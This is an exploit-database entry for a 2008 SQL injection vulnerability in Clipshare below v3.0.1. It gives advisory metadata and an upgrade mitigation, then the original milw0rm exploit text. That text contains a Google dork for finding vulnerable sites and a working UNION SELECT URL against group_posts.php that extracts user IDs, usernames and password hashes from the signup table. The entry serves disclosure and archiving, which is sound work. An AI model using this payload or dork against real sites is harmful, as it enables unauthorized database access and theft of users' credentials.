Clipshare Remote SQL Injection Vulnerability

vendor:

Clipshare

by:

SuNHouSe2

CVSS

HIGH

SQL Injection

CWE

Product Name: Clipshare

Affected Version From: less than v3.0.1

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: a:clipshare:clipshare

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Clipshare Remote SQL Injection Vulnerability

Clipshare versions less than v3.0.1 are vulnerable to a remote SQL injection vulnerability. An attacker can exploit this vulnerability by sending a specially crafted HTTP request to the vulnerable application. This can allow the attacker to gain access to sensitive information such as usernames and passwords stored in the database.

Mitigation:

Upgrade to the latest version of Clipshare, v3.0.1 or later.

Source

Exploit-DB raw data:

             /************************************************************************/
             /*                                                                      */
             /*                             Clipshare                                */
             /*                                                                      */
             /*                  Remote SQL Injection Vulnerability                  */
             /*                                                                      */
             /*                                                                      */
             /************************************************************************/

 [~]AUTHOR   : SuNHouSe2 [ALGERIAN HaCkEr]

 [~]DORK     : "powered by clipshare"

 [~]VERSION  : less than v3.0.1

 [~]EXPLOIT  : 

             http://localhost/group_posts.php?urlkey=1&gid=1&tid=-1+UNION+SELECT+1,2,3,4,concat_ws(0x3a3a,uid,username,pwd),6,7+from+signup+limit+0,20/*


          
             ///////////////////////////////////////////////////////////////////////////////////

             ///////    Special ThanX : His0k4 , TrYaG TeAm , & ALL Muslims HaCkErs..../////////

            ///////////////////////////////////////////////////////////////////////////////////
                                        
                                    -=-=-=-= SuNHouSe2@yahoo.com =-=-=-

# milw0rm.com [2008-06-17]